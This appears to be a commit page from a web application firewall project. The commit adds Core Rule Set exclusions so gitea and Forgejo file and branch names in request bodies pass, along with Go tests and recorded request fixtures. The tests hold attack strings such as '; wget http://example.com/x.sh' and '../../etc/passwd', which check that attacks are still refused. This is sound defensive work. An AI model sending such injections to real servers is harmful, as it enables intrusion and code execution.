1 Commits
Author SHA1 Message Date
clawbot 5ef701a381 Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)
check / check (push) Waiting to run
While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- new_branch_name of a branch created on the web or the API;
- from and to of a renamed branch, on gitea's and Forgejo's paths;
- head of a pull request and message of a file, through the API.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
2026-11-11 13:08:23 +00:00
11 changed files with 242 additions and 98 deletions

No files matched your search

+38 -22
View File
@@ -828,23 +828,10 @@ The changes hold in front of every app, and no setting undoes them:
- branches and tags;
- packages, on its pages and in its API.
A user's or an organisation's page has a path of one segment, such as
`/alice`. So on any app, `q` skips these rules on every path of one
segment, such as `/search`. But it skips 932250 only on a path made of
the characters a name may hold: letters, digits, `-`, `_` and dots, the
first a letter or digit. So `ls -la` is refused on
`/login.jsp;jsessionid=abc`. `q` also keeps 932250 on a path that ends
in a server-side script's extension, such as `/index.php`. The
extensions are these, in upper or lower case:
- `.php`;
- `.phtml`;
- `.php5`;
- `.cgi`;
- `.pl`;
- `.py`;
- `.asp`;
- `.aspx`;
- `.jsp`.
A user's or an organisation's page is any path of one segment, so on
every such path, on any app, `q` skips 930120, 932120 and 932260, for
example on `/search`. It keeps 932250 there, so `ls -la` is refused on
those pages.
Some of these searches also skip the rule for Java class names (944130),
which refused `org.apache.commons.logging`.
@@ -878,6 +865,28 @@ The changes hold in front of every app, and no setting undoes them:
- to start a release from a tag;
- to edit a branch protection rule;
- to list a directory's last commits.
- A file or branch name in a body field:
- `tree_path` of the web editor's save, new file and delete, for system
files, Windows commands and command names (930120, 932120, 932260);
- `commit_summary` there, for system files and Windows commands (930120,
932120);
- `content` there, the file's text, for a Unix command at the start of a
line (932235);
- `new_branch_name` of a branch created on the web or through the API,
for command names (932260);
- `from` and `to` of a branch renamed on the web, for command names
(932260);
- `head` of a pull request opened through the API, for command names
(932260);
- `message` of a file created, changed or deleted through the API, for
Windows commands (932120).
Names such as `docker-compose.yml`, `.htaccess` and
`feat/docker-support` were refused. `; wget http://example.com/x.sh` and
path traversal are still refused in these fields. These exclusions
matter only while `SWW_WAF_BODY_LIMIT` is set. None applies when the
query has a parameter of the same name.
- The `Content-Range` header of an artifact upload from
`actions/upload-artifact@v3` (920450).
- The passwords in a body, for each rule that random passwords set off. The
@@ -1583,11 +1592,13 @@ The changes hold in front of every app, and no setting undoes them:
`/index.php/`. Elsewhere these fields keep every rule. An app other than
Nextcloud that serves one of these paths must check these fields itself.
15. On Forgejo's paths, `q` on the search of a wiki skips the rules that refused
ordinary Forgejo searches there. Forgejo is a fork of gitea, and the eighth
change applies to its requests too. This change holds only what Forgejo
sends and gitea does not. `internal/coreruleset/forgejo.conf` lists each
rule and the search it refused:
15. On Forgejo's paths, some fields skip the rules that refused ordinary Forgejo
requests there. Forgejo is a fork of gitea, and the eighth change applies to
its requests too. This change holds only what Forgejo sends and gitea does
not. `internal/coreruleset/forgejo.conf` lists each rule and the request it
refused.
`q` on the search of a wiki skips these rules:
- system files (930120), such as `.htaccess`;
- Windows commands (932120), such as `powershell`;
- shell paths (932160), such as `/bin/sh`;
@@ -1599,6 +1610,11 @@ The changes hold in front of every app, and no setting undoes them:
at the site root. An app other than Forgejo that serves such a path must
check `q` itself.
Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path,
`from` and `to` skip the list of command names (932260), which refused
`feat/docker-support`. This matters only while `SWW_WAF_BODY_LIMIT` is set.
The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them.
+81 -44
View File
@@ -1063,50 +1063,6 @@ func TestGiteaAttacksAreRefused(t *testing.T) {
}
}
func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
// The searches of a user's and of an organisation's repositories.
for _, target := range []string{
"/alice?tab=repositories&q=ls%20-la",
"/acme?q=ls%20-la&sort=recentupdate",
"/jane.doe?tab=repositories&q=ls%20-la",
} {
wantResult(t, crs, get(target), coreruleset.Result{})
}
// 932250 still applies on a path that ends in a server-side script's
// extension or holds a character no name holds, to another field, and on
// a path of two segments.
for _, target := range []string{
"/index.php?q=ls%20-la",
"/INDEX.PHP?q=ls%20-la",
"/index%2Ephp?q=ls%20-la",
"/search.cgi?q=ls%20-la",
"/login.jsp;jsessionid=abc?q=ls%20-la",
"/alice?tab=ls%20-la",
"/alice/tools?q=ls%20-la",
} {
wantResult(t, crs, get(target), matched(932250))
}
// A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, target := range []string{
"/alice?tab=repositories&q=",
"/index.php?q=",
"/wp-login.php?q=",
"/alice/tools?q=",
} {
if got := inspect(t, crs, get(target+commandInjection)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
}
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
// REST API routes of a post and of the tags.
const (
@@ -1764,6 +1720,9 @@ const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// shellCommand is commandInjection, not escaped.
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
@@ -1969,6 +1928,84 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
// gitea and Forgejo name a file or a branch. Each lets through the name that
// was refused there, and still refuses a shell command after a ";" and a path
// traversal. The same name is still refused in another field on the same path,
// and in the field itself when the query has a parameter of the field's name.
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel()
const (
threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
repo = "/alice/tools"
api = "/api/v1/repos/alice/tools"
)
crs := readingBodies(t)
for _, tc := range []struct {
path, contentType, field, name string
}{
{repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"},
{repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"},
{repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"},
{repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"},
{repo + "/branches/_new/branch/main", formData, "new_branch_name", "docker-build"},
{repo + "/branches/rename", formData, "from", "feat/docker-support"},
{repo + "/branches/rename", formData, "to", "feat/python3-support"},
// Forgejo's path for renaming a branch.
{repo + "/settings/rename_branch", formData, "to", "feat/python3-support"},
{api + "/branches", jsonBody, "new_branch_name", "python3-docs"},
{api + "/pulls", jsonBody, "head", "feat/docker-support"},
{
api + "/contents/scripts/powershell-build.ps1", jsonBody,
"message", "Add a PowerShell build script",
},
} {
r := request{http.MethodPost, tc.path, []string{tc.contentType}}
body := func(field, value string) string {
if tc.contentType == formData {
return field + "=" + url.QueryEscape(value)
}
quoted, err := json.Marshal(map[string]string{field: value})
if err != nil {
t.Fatal(err)
}
return string(quoted)
}
if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got)
}
if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
}
param := tc.field
if tc.contentType == jsonBody {
param = "json." + tc.field
}
queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers}
got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
if got.Score < threshold {
t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got)
}
for _, attack := range []string{shellCommand, pathTraversal} {
if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got)
}
}
}
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
+1 -1
View File
@@ -218,7 +218,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
for _, attack := range []string{
injection,
scriptTag,
`; wget http://example.com/x.sh`,
shellCommand,
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
+11
View File
@@ -19,3 +19,14 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo renames a branch on its own path, where from and to name branches.
# They skip the list of command names (932260), which refused
# feat/docker-support and feat/python3-support. They are read only while
# SWW_WAF_BODY_LIMIT is set, and skip nothing when the query has a parameter of
# the same name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
"id:900666,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932260;ARGS:from,\
ctl:ruleRemoveTargetById=932260;ARGS:to"
+62 -12
View File
@@ -135,8 +135,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, so q skips these rules on every path of one
# segment, other apps' pages such as /index.php included:
# too. Their path has one segment, as other apps' pages such as /index.php do,
# so q keeps 932250 there and skips only these rules:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
@@ -146,16 +146,6 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# On those pages q skips 932250 too, which refused ls -la, but only on a path
# made of the characters a user's or an organisation's name may hold. Those are
# letters, digits, -, _ and dots, the first a letter or digit, so
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
# script's extension keeps it too, such as /index.php or /search.cgi.
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
"id:900606,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
# These requests name a file in the path, which skips these rules there:
# 920500: notes.txt~
# 934100: process.env.d.ts
@@ -308,6 +298,66 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/branches/edit$" \
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/lastcommit/" \
"id:900633,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:refSubUrl"
# The requests below name a file or a branch in a body field, which is read only
# while SWW_WAF_BODY_LIMIT is set. Each field skips the rules that refused it.
# None applies when the query has a parameter of the same name.
# The web editor's save, new file and delete. The file's path, in tree_path,
# skips these rules:
# 930120: .htaccess
# 932120: scripts/install-script.sh
# 932260: docker-compose.yml
# The commit's summary, in commit_summary, skips these rules:
# 930120: Remove .htaccess
# 932120: Remove scripts/install-script.sh
# The file's text, in content, skips one rule:
# 932235: a line that starts with install
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/(?:_edit|_new|_delete)/" \
"id:900660,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:tree_path|commit_summary|content)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:tree_path,\
ctl:ruleRemoveTargetById=932120;ARGS:tree_path,\
ctl:ruleRemoveTargetById=932260;ARGS:tree_path,\
ctl:ruleRemoveTargetById=930120;ARGS:commit_summary,\
ctl:ruleRemoveTargetById=932120;ARGS:commit_summary,\
ctl:ruleRemoveTargetById=932235;ARGS:content"
# The rest name a branch, which skips the list of command names (932260) there.
# It refused docker-build, python3-docs and feat/docker-support.
# A branch created on the web, in new_branch_name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/_new/" \
"id:900661,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:new_branch_name "@eq 0" \
"ctl:ruleRemoveTargetById=932260;ARGS:new_branch_name"
# A branch renamed on the web, in from and to.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/branches/rename$" \
"id:900662,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932260;ARGS:from,\
ctl:ruleRemoveTargetById=932260;ARGS:to"
# A branch created through the API, in new_branch_name.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/branches$" \
"id:900663,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.new_branch_name "@eq 0" \
"ctl:ruleRemoveTargetById=932260;ARGS:json.new_branch_name"
# A pull request opened through the API, in head.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/pulls$" \
"id:900664,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.head "@eq 0" \
"ctl:ruleRemoveTargetById=932260;ARGS:json.head"
# A file created, changed or deleted through the API. The commit's message, in
# message, skips the list of Windows commands (932120), which refused Add a
# PowerShell build script.
SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/contents/" \
"id:900665,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.message"
# An artifact upload from actions/upload-artifact@v3 sends the header
# Content-Range, which the Core Rule Set refused (920450).
SecRule REQUEST_FILENAME \
+20 -3
View File
@@ -150,9 +150,11 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
}
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only. While bodies are read, the Core Rule Set still refuses the
// file and branch names some of them carry in a form or JSON body, as it does
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
// defaults only. While bodies are read, the Core Rule Set still refuses a new
// wiki page whose title and text name commands and files, as it does such text
// in gitea's comments (TestGiteaBodiesTheCoreRuleSetRefuses). The requests
// that name a file or a branch in a body are checked while bodies are read in
// TestForgejoNamesInBodiesPass.
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
@@ -168,6 +170,21 @@ func TestOrdinaryForgejoRequestsPass(t *testing.T) {
}
}
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
// file or a branch in a body, while bodies are read too.
func TestGiteaNamesInBodiesPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt")
}
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
func TestForgejoNamesInBodiesPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt")
}
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
@@ -0,0 +1,14 @@
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
# the Core Rule Set must let through while it reads bodies. They were recorded
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
# API. Each line is one request as JSON. Names, cookies and tokens are
# invented. The browser's User-Agent is an ordinary Chrome's.
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
-4
View File
@@ -468,7 +468,3 @@
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
+14
View File
@@ -0,0 +1,14 @@
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
# the Core Rule Set must let through while it reads bodies. They were recorded
# from a gitea driven by a headless Chrome, signed in, and by a script on the
# API. Each line is one request as JSON. Names, cookies and tokens are
# invented. The browser's User-Agent is an ordinary Chrome's.
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
